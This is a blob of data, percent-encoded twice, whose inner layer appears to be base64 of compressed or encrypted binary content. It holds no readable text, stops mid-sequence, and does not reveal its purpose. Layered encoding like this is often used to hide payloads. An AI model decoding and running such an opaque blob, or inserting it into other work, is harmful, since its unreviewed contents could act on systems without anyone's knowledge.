%36%64%25%35%31%25%34%33%25%36%61%25%34%64%25%37%61%25%34%33%25%37%38%25%35%39%25%37%37%25%34%62%25%33%33%25%34%65%25%36%38%25%34%32%25%35%38%25%34%64%25%37%61%25%34%34%25%33%39%25%34%61%25%36%37%25%35%38%25%36%38%25%35%61%25%34%33%25%34%36%25%36%39%25%37%39%25%34%64%25%35%32%25%35%37%25%34%31%25%36%32%25%36%39%25%33%32%25%34%39%25%34%61%25%33%32%25%34%64%25%36%36%25%35%33%25%35%37%25%34%31%25%35%61%25%37%39%25%35%39%25%35%36%25%36%64%25%37%33%25%34%31%25%34%39%25%35%36%25%35%39%25%34%37%25%36%31%25%37%36%25%34%31%25%34%62%25%36%31%25%37%39%25%34%62%25%37%34%25%36%35%25%34%31%25%36%33%25%33%31%25%37%33%25%34%35%25%33%36%25%35%35%25%34%39%25%36%32%25%33%31%25%37%33%25%34%32%25%33%35%25%35%35%25%35%39%25%36%37%25%34%65%25%37%33%25%34%31%25%34%36%25%35%38%25%35%39%25%34%33%25%34%32%25%37%34%25%34%32%25%34%65%25%35%34%25%36%32%25%34%37%25%34%61%25%36%65%25%34%31%25%35%36%25%36%64%25%33%32%25%34%39%25%37%32%25%37%35%25%34%39%25%36%64%25%37%34%25%37%33%25%35%31%25%33%33%25%35%35%25%35%39%25%35%36%25%37%36%25%37%33%25%34%32%25%34%35%25%33%33%25%35%39%25%34%37%25%36%32%25%37%34%25%34%31%25%34%34%25%33%33%25%36%32%25%34%36%25%36%32%25%36%61%25%34%33%25%34%33%25%33%33%25%36%32%25%34%35%25%34%38%25%37%61%25%34%37%25%34%32%25%35%30%25%33%37%25%34%31%25%35%36%25%34%63%25%33%32%25%34%32%25%37%36%25%33%37%25%37%37%25%34%33%25%33%37%25%33%32%25%37%38%25%35%38%25%33%35%25%37%37%25%34%32%25%37%36%25%37%36%25%36%61%25%34%31%25%34%63%25%36%39%25%34%66%25%36%37%25%33%33%25%34%35%25%34%39%25%33%33%25%34%64%25%34%37%25%36%38%25%34%66%25%34%31%25%36%66%25%36%35%25%33%34%25%34%37%25%36%39%25%36%33%25%34%32%25%34%33%25%33%30%25%33%34%25%34%37%25%36%31%25%36%36%25%34%31%25%35%39%25%33%35%25%37%39%25%34%62%25%37%33%25%32%62%25%34%31%25%33%35%25%37%61%25%37%33%25%35%61%25%34%36%25%33%30%25%34%39%25%36%31%25%34%63%25%36%33%25%35%31%25%36%64%25%33%38%25%37%37%25%37%31%25%35%37%25%33%34%25%34%33%25%37%34%25%33%37%25%36%38%25%36%31%25%37%34%25%37%37%25%34%35%25%36%65%25%36%32%25%36%37%25%35%61%25%37%34%25%33%30%25%34%31%25%32%66%25%36%32%25%37%33%25%35%37%25%37%34%25%36%33%25%34%31%25%32%62%25%33%33%25%35%35%25%35%31%25%34%66%25%33%33%25%36%33%25%35%34%25%37%36%25%36%33%25%36%63%25%37%61%25%37%34%25%36%38%25%35%35%25%34%66%25%33%36%25%34%33%25%36%38%25%32%62%25%33%35%25%37%35%25%33%32%25%37%37%25%34%66%25%35%32%25%33%37%25%37%34%25%33%35%25%33%34%25%34%38%25%33%34%25%35%34%25%34%32%25%32%66%25%36%34%25%34%31%25%37%33%25%34%34%25%33%38%25%34%31%25%36%65%25%36%35%25%35%32%25%34%31%25%32%62%25%37%39%25%36%62%25%35%30%25%37%37%25%35%37%25%35%32%25%33%36%25%34%37%25%37%36%25%32%66%25%34%39%25%34%39%25%32%66%25%34%61%25%36%34%25%34%38%25%33%34%25%36%31%25%36%62%25%33%38%25%34%32%25%36%66%25%32%66%25%36%62%25%36%33%25%35%38%25%36%37%25%36%64%25%35%34%25%33%38%25%34%62%25%33%38%25%35%30%25%34%31%25%35%35%25%37%36%25%33%33%25%34%65%25%34%65%25%33%32%25%34%32%25%37%31%25%34%63%25%36%34%25%37%33%25%32%66%25%34%35%25%33%35%25%35%33%25%34%39%25%36%32%25%36%65%25%36%66%25%35%36%25%35%36%25%36%35%25%36%37%25%34%66%25%32%66%25%37%39%25%34%39%25%37%36%25%37%39%25%35%35%25%36%63%25%32%62%25%34%33%25%33%33%25%36%35%25%33%39%25%36%64%25%37%35%25%37%37%25%34%62%25%37%30%25%33%37%25%34%65%25%36%32%25%33%34%25%34%37%25%34%37%25%33%33%25%36%37%25%35%34%25%33%31%25%37%35%25%35%37%25%37%34%25%34%64%25%36%31%25%36%62%25%36%35%25%37%38%25%35%37%25%34%65%25%33%33%25%34%39%25%34%65%25%37%35%25%33%39%25%36%31%25%32%66%25%36%34%25%33%32%25%37%39%25%34%39%25%34%31%25%35%30%25%34%33%25%34%38%25%33%37%25%34%39%25%36%38%25%32%66%25%34%32%25%34%63%25%35%30%25%36%66%25%34%39%25%32%66%25%33%37%25%36%64%25%34%65%25%33%37%25%34%32%25%36%38%25%36%36%25%36%33%25%33%35%25%32%66%25%34%35%25%34%63%25%34%66%25%34%64%25%36%31%25%35%38%25%36%33%25%34%36%25%33%36%25%32%62%25%36%37%25%36%39%25%37%36%25%37%35%25%36%31%25%33%33%25%37%34%25%35%34%25%35%32%25%35%31%25%33%32%25%32%62%25%36%61%25%36%34%25%33%39%25%34%32%25%34%66%25%36%32%25%33%36%25%34%38%25%35%35%25%37%36%25%36%35%25%34%34%25%36%36%25%35%39%25%35%32%25%32%66%25%33%38%25%36%38%25%34%65%25%33%38%25%36%63%25%35%36%25%32%66%25%36%38%25%36%61%25%36%36%25%37%37%25%33%32%25%34%61%25%37%36%25%35%34%25%36%62%25%34%66%25%33%39%25%36%31%25%34%31%25%33%36%25%35%31%25%32%66%25%34%31%25%34%63%25%36%36%25%36%62%25%35%34%25%33%33%25%37%32%25%37%35%25%32%66%25%33%37%25%34%34%25%36%36%25%36%62%25%37%35%25%33%33%25%32%66%25%36%39%25%37%36%25%33%39%25%34%33%25%34%31%25%32%66%25%33%36%25%34%32%25%34%34%25%32%66%25%36%66%25%36%34%25%37%36%25%34%64%25%36%64%25%36%65%25%34%64%25%33%35%25%33%37%25%35%37%25%35%30%25%33%33%25%35%36%25%36%35%25%37%38%25%36%35%25%36%39%25%35%30%25%34%31%25%33%32%25%35%30%25%35%61%25%34%31%25%34%33%25%34%62%25%36%34%25%33%34%25%37%39%25%35%33%25%36%63%25%33%31%25%36%38%25%34%39%25%34%61%25%36%38%25%35%39%25%34%61%25%36%38%25%37%33%25%37%30%25%37%61%25%33%39%25%37%61%25%34%65%25%33%36%25%33%35%25%32%66%25%35%34%25%34%32%25%36%39%25%35%36%25%35%38%25%37%37%25%33%35%25%34%63%25%35%34%25%34%38%25%37%38%25%34%36%25%34%62%25%37%34%25%34%34%25%37%30%25%35%31%25%32%66%25%34%35%25%34%63%25%34%34%25%34%31%25%34%66%25%36%63%25%33%30%25%35%61%25%37%33%25%33%35%25%34%39%25%36%34%25%34%61%25%36%36%25%36%61%25%35%30%25%33%37%25%35%33%25%33%34%25%33%32%25%37%31%25%36%33%25%37%35%25%35%34%25%32%62%25%35%33%25%33%36%25%36%31%25%37%33%25%36%66%25%33%37%25%35%33%25%35%35%25%36%65%25%35%34%25%33%31%25%36%62%25%33%37%25%35%61%25%36%33%25%34%33%25%36%34%25%33%38%25%34%37%25%34%32%25%37%32%25%35%39%25%34%32%25%34%38%25%37%31%25%36%39%25%32%66%25%35%35%25%36%61%25%34%35%25%33%30%25%33%33%25%37%61%25%33%34%25%33%32%25%34%39%25%33%34%25%33%34%25%35%33%25%35%36%25%34%32%25%37%35%25%33%36%25%37%34%25%37%34%25%35%34%25%35%30%25%35%35%25%37%32%25%34%32%25%35%37%25%35%34%25%35%36%25%35%38%25%36%63%25%33%34%25%36%35%25%34%36%25%37%31%25%32%66%25%32%62%25%37%33%25%37%35%25%34%62%25%33%37%25%34%62%25%36%36%25%36%64%25%37%61%25%33%31%25%35%61%25%35%34%25%34%39%25%37%61%25%36%37%25%36%64%25%35%36%25%37%37%25%33%31%25%37%39%25%34%35%25%35%35%25%36%34%25%34%32%25%37%37%25%35%38%25%34%34%25%36%64%25%36%32%25%34%62%25%33%39%25%36%36%25%35%32%25%36%36%25%37%39%25%34%62%25%37%32%25%37%30%25%35%38%25%32%62%25%34%64%25%36%65%25%36%63%25%33%38%25%36%65%25%35%30%25%36%61%25%33%31%25%36%66%25%34%34%25%37%36%25%36%39%25%35%31%25%36%63%25%32%62%25%35%33%25%33%37%25%35%30%25%35%35%25%36%66%25%37%31%25%36%38%25%35%34%25%33%35%25%32%66%25%35%38%25%37%37%25%37%36%25%37%38%25%37%36%25%34%32%25%35%31%25%35%32%25%34%37%25%35%61%25%37%32%25%33%30%25%34%62%25%34%36%25%33%30%25%36%34%25%32%66%25%35%36%25%33%33%25%34%37%25%33%34%25%36%66%25%35%35%25%37%34%25%33%30%25%37%34%25%34%66%25%33%36%25%36%61%25%34%61%25%33%33%25%34%32%25%36%35%25%37%39%25%33%35%25%33%34%25%36%34%25%33%37%25%37%35%25%34%61%25%33%36%25%36%65%25%37%61%25%33%35%25%37%30%25%35%36%25%34%37%25%33%30%25%34%36%25%34%32%25%33%38%25%34%62%25%36%62%25%33%35%25%35%30%25%33%36%25%34%64%25%36%63%25%37%32%25%37%36%25%35%34%25%35%32%25%37%37%25%36%35%25%34%61%25%37%39%25%33%31%25%33%34%25%33%34%25%35%32%25%36%32%25%34%32%25%34%65%25%36%65%25%33%38%25%36%65%25%35%30%25%34%33%25%34%31%25%33%31%25%32%62%25%34%66%25%36%65%25%36%34%25%33%33%25%36%64%25%34%34%25%33%34%25%35%33%25%35%33%25%35%38%25%37%35%25%34%39%25%36%66%25%36%31%25%35%35%25%37%36%25%34%61%25%35%36%25%33%36%25%34%66%25%35%37%25%34%37%25%36%62%25%36%36%25%33%38%25%37%37%25%35%31%25%32%62%25%36%63%25%33%34%25%36%38%25%32%66%25%34%37%25%36%35%25%36%34%25%34%31%25%33%31%25%35%34%25%34%31%25%35%31%25%36%31%25%34%34%25%34%33%25%35%31%25%34%38%25%34%63%25%34%33%25%33%30%25%33%31%25%36%61%25%34%37%25%35%39%25%37%33%25%34%65%25%36%61%25%33%37%25%34%61%25%36%39%25%35%30%25%35%34%25%36%33%25%33%32%25%37%38%25%33%35%25%35%33%25%35%35%25%34%65%25%34%32%25%34%31%25%35%37%25%34%32%25%35%31%25%34%33%25%34%33%25%35%32%25%36%35%25%36%64%25%36%65%25%37%61%25%33%37%25%33%37%25%35%36%25%34%31%25%37%34%25%36%66%25%34%39%25%34%34%25%36%63%25%36%38%25%33%37%25%36%33%25%37%39%25%37%36%25%36%35%25%34%37%25%34%33%25%34%36%25%34%65%25%37%38%25%37%39%25%34%38%25%36%34%25%34%38%25%33%31%25%35%38%25%35%36%25%34%36%25%35%37%25%35%61%25%35%37%25%36%38%25%37%33%25%37%31%25%33%37%25%34%66%25%33%36%25%35%36%25%34%63%25%34%33%25%37%39%25%36%64%25%33%39%25%35%30%25%32%62%25%36%36%25%35%37%25%35%33%25%36%39%25%32%62%25%37%36%25%33%35%25%32%62%25%36%31%25%36%37%25%36%61%25%37%33%25%33%39%25%36%32%25%36%38%25%36%32%25%35%61%25%37%30%25%37%33%25%34%63%25%34%61%25%37%31%25%33%39%25%37%39%25%33%31%25%36%61%25%36%31%25%35%35%25%36%37%25%36%38%25%34%61%25%34%66%25%37%37%25%36%61%25%37%38%25%37%38%25%34%64%25%37%35%25%36%31%25%33%35%25%36%62%25%33%32%25%35%37%25%33%34%25%37%36%25%36%63%25%36%32%25%35%39%25%32%66%25%36%34%25%36%35%25%32%66%25%33%33%25%36%66%25%34%61%25%35%33%25%33%34%25%36%63%25%33%32%25%37%38%25%35%61%25%35%36%25%34%33%25%34%64%25%36%31%25%33%37%25%36%62%25%36%39%25%36%64%25%34%37%25%36%36%25%37%33%25%36%65%25%34%66%25%33%35%25%33%39%25%35%33%25%37%36%25%34%34%25%33%34%25%34%37%25%36%34%25%33%38%25%36%61%25%37%33%25%33%38%25%36%37%25%34%33%25%35%35%25%37%35%25%36%32%25%36%61%25%36%65%25%34%38%25%36%36%25%33%31%25%37%39%25%35%30%25%33%34%25%34%65%25%34%64%25%34%66%25%37%34%25%37%35%25%33%34%25%37%36%25%34%63%25%36%39%25%36%33%25%37%38%25%34%61%25%36%32%25%37%36%25%33%36%25%35%61%25%33%34%25%33%34%25%36%35%25%36%66%25%37%32%25%36%66%25%35%37%25%36%38%25%34%34%25%35%31%25%37%33%25%34%38%25%34%36%25%36%37%25%37%38%25%33%34%25%34%64%25%34%61%25%36%34%25%34%63%25%35%33%25%33%33%25%34%37%25%36%66%25%37%30%25%37%35%25%34%62%25%35%35%25%37%31%25%36%31%25%36%37%25%33%32%25%36%66%25%36%34%25%32%62%25%36%63%25%36%62%25%33%33%25%34%34%25%33%38%25%34%66%25%37%61%25%36%65%25%34%64%25%36%32%25%33%32%25%37%30%25%32%66%25%37%32%25%33%32%25%36%32%25%37%37%25%32%66%25%37%39%25%34%35%25%33%34%25%34%64%25%36%39%25%36%64%25%35%30%25%37%33%25%34%62%25%37%31%25%34%33%25%33%34%25%34%64%25%35%61%25%36%39%25%34%38%25%33%39%25%36%34%25%34%65%25%36%63%25%34%31%25%37%32%25%37%36%25%37%32%25%33%31%25%35%30%25%35%35%25%33%35%25%36%33%25%34%63%25%33%33%25%36%32%25%36%35%25%35%34%25%37%32%25%32%66%25%33%32%25%34%63%25%34%36%25%37%38%25%33%34%25%34%35%25%37%61%25%36%38%25%33%31%25%36%39%25%33%37%25%33%36%25%37%31%25%33%37%25%33%35%25%36%33%25%34%37%25%37%32%25%36%36%25%36%35%25%33%32%25%35%38%25%37%32%25%33%33%25%37%30%25%37%61%25%34%36%25%34%62%25%33%32%25%36%63%25%34%31%25%36%65%25%34%37%25%37%35%25%32%62%25%35%61%25%36%37%25%36%39%25%37%35%25%37%35%25%34%65%25%36%36%25%37%35%25%36%31%25%36%33%25%35%37%25%36%32%25%35%35%25%34%63%25%34%39%25%34%36%25%35%39%25%34%32%25%35%34%25%37%30%25%37%38%25%37%36%25%34%33%25%33%36%25%34%65%25%34%64%25%36%36%25%36%65%25%33%32%25%32%66%25%36%65%25%36%63%25%36%36%25%36%63%25%32%66%25%37%36%25%34%39%25%35%32%25%33%31%25%34%66%25%33%33%25%34%65%25%37%38%25%33%33%25%37%32%25%34%63%25%36%35%25%37%34%25%35%35%25%33%39%25%33%39%25%37%34%25%36%32%25%34%37%25%33%39%25%33%31%25%36%32%25%36%38%25%36%33%25%33%38%25%37%34%25%33%39%25%34%38%25%35%32%25%37%32%25%33%30%25%33%39%25%34%39%25%34%36%25%33%33%25%34%32%25%33%31%25%37%36%25%36%31%25%36%66%25%35%34%25%33%34%25%36%66%25%34%32%25%34%39%25%33%37%25%34%61%25%37%33%25%33%39%25%36%34%25%37%37%25%33%33%25%35%39%25%32%66%25%35%31%25%35%38%25%35%30%25%35%61%25%33%31%25%33%34%25%36%38%25%36%38%25%35%31%25%36%33%25%36%65%25%34%65%25%35%35%25%36%64%25%36%66%25%34%34%25%35%30%25%36%62%25%35%36%25%36%33%25%36%33%25%34%37%25%37%36%25%37%34%25%33%36%25%33%31%25%36%37%25%36%37%25%36%63%25%36%32%25%34%64%25%36%33%25%34%39%25%35%31%25%35%35%25%36%61%25%36%61%25%34%61%25%37%35%25%36%35%25%36%36%25%37%30%25%34%35%25%34%32%25%34%34%25%36%64%25%35%32%25%36%65%25%36%61%25%33%32%25%36%61%25%36%61%25%33%32%25%33%38%25%33%31%25%33%38%25%35%35%25%37%38%25%36%61%25%37%34%25%37%34%25%36%33%25%35%38%25%37%35%25%36%62%25%37%39%25%34%38%25%36%64%25%32%62%25%35%30%25%37%32%25%34%32%25%37%35%25%34%38%25%36%31%25%34%62%25%34%63%25%35%61%25%34%66%25%35%34%25%33%33%25%33%36%25%36%37%25%33%36%25%35%36%25%34%35%25%35%31%25%36%38%25%33%38%25%33%38%25%34%33%25%36%38%25%35%33%25%33%34%25%34%66%25%34%38%25%36%65%25%37%35%25%35%61%25%34%33%25%36%31%25%37%61%25%35%35%25%36%32%25%37%35%25%37%30%25%34%37%25%35%33%25%36%32%25%35%38%25%37%30%25%34%63%25%34%31%25%37%61%25%34%65%25%37%30%25%33%36%25%37%36%25%37%30%25%36%36%25%34%35%25%34%64%25%36%39%25%33%36%25%35%37%25%33%37%25%33%38%25%37%38%25%34%61%25%37%34%25%35%36%25%33%30%25%36%66%25%34%38%25%34%62%25%33%34%25%33%39%25%33%38%25%36%37%25%33%37%25%33%33%25%35%32%25%35%38%25%34%62%25%36%38%25%35%35%25%37%32%25%33%34%25%36%32%25%36%35%25%33%32%25%33%36%25%37%33%25%37%30%25%35%34%25%35%37%25%33%39%25%36%34%25%34%63%25%36%61%25%33%34%25%32%66%25%35%33%25%36%38%25%34%61%25%36%65%25%35%30%25%37%30%25%34%32%25%34%63%25%33%32%25%37%39%25%34%34%25%35%30%25%36%31%25%37%35%25%34%34%25%36%38%25%35%36%25%36%63%25%34%34%25%36%38%25%34%37%25%36%36%25%37%34%25%35%31%25%34%62%25%35%61%25%36%39%25%32%66%25%35%37%25%35%34%25%34%32%25%33%35%25%34%64%25%37%38%25%35%35%25%36%34%25%33%36%25%36%61%25%35%34%25%36%65%25%32%62%25%37%31%25%36%65%25%34%34%25%36%65%25%34%31%25%34%31%25%37%37%25%37%32%25%37%31%25%33%36%25%35%31%25%35%33%25%35%38%25%37%61%25%33%32%25%33%37%25%36%38%25%36%31%25%35%37%25%34%63%25%33%32%25%36%35%25%34%61%25%36%32%25%33%34%25%33%30%25%34%34%25%34%62%25%36%66%25%36%61%25%37%36%25%34%38%25%32%66%25%35%30%25%36%65%25%33%37%25%35%37%25%34%37%25%34%36%25%35%38%25%35%39%25%37%35%25%36%33%25%33%32%25%36%31%25%33%38%25%34%64%25%35%37%25%36%33%25%36%63%25%36%62%25%34%36%25%34%61%25%36%32%25%35%35%25%34%32%25%36%38%25%33%35%25%37%36%25%35%33%25%35%32%25%36%36%25%37%37%25%37%33%25%36%37%25%36%35%25%35%32%25%36%61%25%35%61%25%34%31%25%35%61%25%34%61%25%36%38%25%36%62%25%34%31%25%35%37%25%37%61%25%34%31%25%36%64%25%33%39%25%37%38%25%35%32%25%34%62%25%36%38%25%33%33%25%34%66%25%37%31%25%35%61%25%34%62%25%34%63%25%36%63%25%34%64%25%37%38%25%35%37%25%35%30%25%37%34%25%37%61%25%37%32%25%33%33%25%37%61%25%34%33%25%37%37%25%32%66%25%34%66%25%35%34%25%36%38%25%35%32%25%34%39%25%36%63%25%35%37%25%35%38%25%36%61%25%33%30%25%36%61%25%37%30%25%37%30%25%34%35%25%33%37%25%34%65%25%35%33%25%35%33%25%36%32%25%34%36%25%35%38%25%35%37%25%35%37%25%36%31%25%33%33%25%37%30%25%33%37%25%34%63%25%35%30%25%33%30%25%35%35%25%36%38%25%37%32%25%34%61%25%34%63%25%35%30%25%34%31%25%33%35%25%37%38%25%34%38%25%35%37%25%36%61%25%33%34%25%33%33%25%35%61%25%35%39%25%35%33%25%37%30%25%33%31%25%34%66%25%34%61%25%37%30%25%35%34%25%33%37%25%34%38%25%35%37%25%37%39%25%36%64%25%35%39%25%34%65%25%35%61%25%36%63%25%36%66%25%35%36%25%33%36%25%37%34%25%36%61%25%33%32%25%36%34%25%37%61%25%37%36%25%37%37%25%33%38%25%33%33%25%34%35%25%35%37%25%36%63%25%34%34%25%37%36%25%37%36%25%34%36%25%36%33%25%35%34%25%37%31%25%35%31%25%34%38%25%32%66%25%35%30%25%37%35%25%37%39%25%35%39%25%34%66%25%34%36%25%33%32%25%36%31%25%34%36%25%37%36%25%34%37%25%35%37%25%36%38%25%37%34%25%33%39%25%36%33%25%37%38%25%34%34%25%35%61%25%36%63%25%36%31%25%34%37%25%35%38%25%33%39%25%33%34%25%37%32%25%35%36%25%33%31%25%34%66%25%35%34%25%34%66%25%33%33%25%35%30%25%37%38%25%35%37%25%34%66%25%37%35%25%36%37%25%35%36%25%34%64%25%34%61%25%35%32%25%35%31%25%36%61%25%35%32%25%36%61%25%37%61%25%34%34%25%34%35%25%33%39%25%34%32%25%32%62%25%36%32%25%37%39%25%33%31%25%34%61%25%34%66%25%36%38%25%34%39%25%33%30%25%36%65%25%35%30%25%35%30%25%36%31%25%34%64%25%36%39%25%36%32%25%35%38%25%33%35%25%33%31%25%36%65%25%36%61%25%37%34%25%36%65%25%35%31%25%37%39%25%34%37%25%36%65%25%33%31%25%36%63%25%34%34%25%33%32%25%34%64%25%34%63%25%34%32%25%36%35%25%32%66%25%34%66%25%36%39%25%35%39%25%36%36%25%35%61%25%32%62%25%34%64%25%36%36%25%34%39%25%37%39%25%33%38%25%35%31%25%34%39%25%37%30%25%33%31%25%34%38%25%34%35%25%36%65%25%34%65%25%34%33%25%36%36%25%34%38%25%36%33%25%36%35%25%36%38%25%34%33%25%37%38%25%34%32%25%36%61%25%36%65%25%37%35%25%33%35%25%35%32%25%32%66%25%35%38%25%34%36%25%36%39%25%37%38%25%34%62%25%33%39%25%36%61%25%33%33%25%37%32%25%34%34%25%37%34%25%33%39%25%34%39%25%36%65%25%35%36%25%37%38%25%34%63%25%33%36%25%34%32%25%35%37%25%35%31%25%34%37%25%34%63%25%34%37%25%35%35%25%34%61%25%35%33%25%32%66%25%35%37%25%35%32%25%37%31%25%34%36%25%37%61%25%33%31%25%36%31%25%34%61%25%34%64%25%33%37%25%34%38%25%34%39%25%33%34%25%35%36%25%36%38%25%37%35%25%37%35%25%33%35%25%33%31%25%36%64%25%33%35%25%33%38%25%34%65%25%36%65%25%34%33%25%36%36%25%37%35%25%35%61%25%34%35%25%32%66%25%37%37%25%35%32%25%34%34%25%36%38%25%34%39%25%34%32%25%34%36%25%37%33%25%34%32%25%36%38%25%34%32%25%35%37%25%32%62%25%34%64%25%36%33%25%32%62%25%37%36%25%35%36%25%33%32%25%33%36%25%37%35%25%34%35%25%34%34%25%35%37%25%33%39%25%32%62%25%33%33%25%36%36%25%36%39%25%37%39%25%32%66%25%36%36%25%36%39%25%35%30%25%33%36%25%36%33%25%36%33%25%34%33%25%35%36%25%37%36%25%37%32%25%37%39%25%36%64%25%37%34%25%36%62%25%33%30%25%34%61%25%34%31%25%32%66%25%35%34%25%32%62%25%36%39%25%32%66%25%34%31%25%37%30%25%35%34%25%36%65%25%33%32%25%33%38%25%33%36%25%36%36%25%36%64%25%36%33%25%35%37%25%36%65%25%37%38%25%34%61%25%34%62%25%37%31%25%33%32%25%35%38%25%36%36%25%37%32%25%35%32%25%36%34%25%34%33%25%36%66%25%36%32%25%36%65%25%35%38%25%37%34%25%34%33%25%35%38%25%35%35%25%34%34%25%35%39%25%35%32%25%35%36%25%35%34%25%37%30%25%37%34%25%37%37%25%35%31%25%32%62%25%34%35%25%33%34%25%33%34%25%34%36%25%33%38%25%36%61%25%33%31%25%36%31%25%34%35%25%34%66%25%37%61%25%35%36%25%35%36%25%37%61%25%34%64%25%37%61%25%36%66%25%33%38%25%34%39%25%35%61%25%36%37%25%37%37%25%34%62%25%37%37%25%33%33%25%33%35%25%33%32%25%36%65%25%37%39%25%35%37%25%33%34%25%36%37%25%34%34%25%35%31%25%37%61%25%35%35%25%33%32%25%36%63%25%33%37%25%35%35%25%37%31%25%37%31%25%33%33%25%37%38%25%36%37%25%36%35%25%35%38%25%36%61%25%37%35%25%35%33%25%34%61%25%32%66%25%37%33%25%37%38%25%37%34%25%32%66%25%33%34%25%33%33%25%37%61%25%32%66%25%36%66%25%33%38%25%35%30%25%37%39%25%37%33%25%37%32%25%35%36%25%34%62%25%36%31%25%36%61%25%36%38%25%36%31%25%36%33%25%34%37%25%33%38%25%35%32%25%33%30%25%35%37%25%34%37%25%34%34%25%37%61%25%37%36%25%34%66%25%35%61%25%34%62%25%36%33%25%36%39%25%34%36%25%36%32%25%35%32%25%34%32%25%34%66%25%36%66%25%36%62%25%34%63%25%36%33%25%35%37%25%34%36%25%37%33%25%37%30%25%34%38%25%34%32%25%33%38%25%36%66%25%36%39%25%37%31%25%34%62%25%33%33%25%34%64%25%37%31%25%36%65%25%35%30%25%34%62%25%36%62%25%36%63%25%36%35%25%34%31%25%36%32%25%34%37%25%37%34%25%34%66%25%35%32%25%36%36%25%33%39%25%33%35%25%35%37%25%35%30%25%33%32%25%34%39%25%35%34%25%33%36%25%34%63%25%33%33%25%36%33%25%35%32%25%37%30%25%37%34%25%35%36%25%36%62%25%33%36%25%34%34%25%33%33%25%37%35%25%33%30%25%35%34%25%34%39%25%32%66%25%34%34%25%34%35%25%34%62%25%36%63%25%34%61%25%36%66%25%37%34%25%36%32%25%35%37%25%36%39%25%34%61%25%32%66%25%37%30%25%36%36%25%34%65%25%36%39%25%37%37%25%33%38%25%33%39%25%33%30%25%35%32%25%36%64%25%36%64%25%35%30%25%36%31%25%36%36%25%34%62%25%34%37%25%34%31%25%37%39%25%34%33%25%36%65%25%34%65%25%32%66%25%37%32%25%36%64%25%34%33%25%35%61%25%36%35%25%36%38%25%35%30%25%33%38%25%36%61%25%35%37%25%35%35%25%36%63%25%34%34%25%36%38%25%33%39%25%36%35%25%35%61%25%36%39%25%37%31%25%37%32%25%36%34%25%36%33%25%36%36%25%36%31%25%35%39%25%32%66%25%34%64%25%37%31%25%36%37%25%33%30%25%36%34%25%32%66%25%33%35%25%35%38%25%36%66%25%34%61%25%34%32%25%34%39%25%34%63%25%34%31%25%32%62%25%33%37%25%36%32%25%33%30%25%36%31%25%34%38%25%36%63%25%37%33%25%35%38%25%37%32%25%37%33%25%34%34%25%33%39%25%35%35%25%37%37%25%36%37%25%36%35%25%34%32%25%36%32%25%37%61%25%37%36%25%35%38%25%34%33%25%34%61%25%33%33%25%36%39%25%37%33%25%36%32%25%33%35%25%34%31%25%33%39%25%34%37%25%33%31%25%34%31%25%33%35%25%34%38%25%35%32%25%34%32%25%33%30%25%34%39%25%36%33%25%37%35%25%36%61%25%35%36%25%37%33%25%32%62%25%34%34%25%36%65%25%37%35%25%33%39%25%36%63%25%34%34%25%36%64%25%34%66%25%34%34%25%33%35%25%36%32%25%34%34%25%33%33%25%35%35%25%35%33%25%36%35%25%35%33%25%34%36%25%36%37%25%33%30%25%36%31%25%34%64%25%34%38%25%36%34%25%36%31%25%33%35%25%36%33%25%34%39%25%36%63%25%36%31%25%34%63%25%35%35%25%34%61%25%34%63%25%33%30%25%37%33%25%34%66%25%35%39%25%36%62%25%35%32%25%36%31%25%36%62%25%36%36%25%37%38%25%32%62%25%36%34%25%34%34%25%36%63%25%36%65%25%34%63%25%35%30%25%33%30%25%34%36%25%34%62%25%34%65%25%32%62%25%34%33%25%37%38%25%37%37%25%37%38%25%36%31%25%33%37%25%37%33%25%34%62%25%34%37%25%37%32%25%34%62%25%33%30%25%32%62%25%36%62%25%35%32%25%34%35%25%37%36%25%34%65%25%37%33%25%34%33%25%36%33%25%34%61%25%34%38%25%36%63%25%36%39%25%33%38%25%34%32%25%37%35%25%33%35%25%34%66%25%36%31%25%35%39%25%34%38%25%34%33%25%36%37%25%37%36%25%35%32%25%36%61%25%36%33%25%34%37%25%36%34%25%33%34%25%33%34%25%34%66%25%36%64%25%34%65%25%34%34%25%37%38%25%36%64%25%34%39%25%33%33%25%35%61%25%34%33%25%36%33%25%33%32%25%35%61%25%36%61%25%37%36%25%35%39%25%35%34%25%33%33%25%34%64%25%34%37%25%37%33%25%37%32%25%37%32%25%34%36%25%34%36%25%33%36%25%37%39%25%33%37%25%37%61%25%33%38%25%36%63%25%36%38%25%36%33%25%33%32%25%37%31%25%35%39%25%32%66%25%36%39%25%33%31%25%34%39%25%35%37%25%37%36%25%33%31%25%36%64%25%34%38%25%33%38%25%36%37%25%34%65%25%34%39%25%36%36%25%35%37%25%36%33%25%36%63%25%32%62%25%34%39%25%36%32%25%35%36%25%33%31%25%34%66%25%37%31%25%34%66%25%36%62%25%36%63%25%34%36%25%34%65%25%37%61%25%35%37%25%37%35%25%34%65%25%34%62%25%36%62%25%35%33%25%34%31%25%34%37%25%34%38%25%33%31%25%35%34%25%34%37%25%33%32%25%35%33%25%35%39%25%36%39%25%33%32%25%35%33%25%35%31%25%35%38%25%36%64%25%33%37%25%34%65%25%35%33%25%33%39%25%34%31%25%36%62%25%36%35%25%37%38%25%36%64%25%34%34%25%37%31%25%33%38%25%35%32%25%34%66%25%34%36%25%34%32%25%33%37%25%36%31%25%34%63%25%33%33%25%35%33%25%37%35%25%36%64%25%32%62%25%33%34%25%37%36%25%35%33%25%35%37%25%33%36%25%35%30%25%33%36%25%36%62%25%35%39%25%35%35%25%36%63%25%32%66%25%33%39%25%32%66%25%35%32%25%36%31%25%35%36%25%34%63%25%34%31%25%37%39%25%35%38%25%35%36%25%33%35%25%36%37%25%34%62%25%33%32%25%36%65%25%36%37%25%34%61%25%36%61%25%37%31%25%33%39%25%37%35%25%35%32%25%33%32%25%36%32%25%36%62%25%37%39%25%37%35%25%34%62%25%34%64%25%36%62%25%33%32%25%33%34%25%37%30%25%36%31%25%33%37%25%33%32%25%35%39%25%33%32%25%36%37%25%33%33%25%35%61%25%34%36%25%36%38%25%37%35%25%34%37%25%36%63%25%36%35%25%36%31%25%33%32%25%34%61%25%36%38%25%33%38%25%37%34%25%35%35%25%34%39%25%36%64%25%34%61%25%34%65%25%34%61%25%33%33%25%36%32%25%35%34%25%37%39%25%37%33%25%35%33%25%36%66%25%34%38%25%35%31%25%34%39%25%36%62%25%34%37%25%33%32%25%35%31%25%33%31%25%36%38%25%36%61%25%37%34%25%35%31%25%37%32%25%37%32%25%37%33%25%36%38%25%33%31%25%34%36%25%34%31%25%36%63%25%35%32%25%37%34%25%36%66%25%37%33%25%33%36%25%37%33%25%36%35%25%35%36%25%36%31%25%33%33%25%34%35%25%33%32%25%33%38%25%34%66%25%36%38%25%36%36%25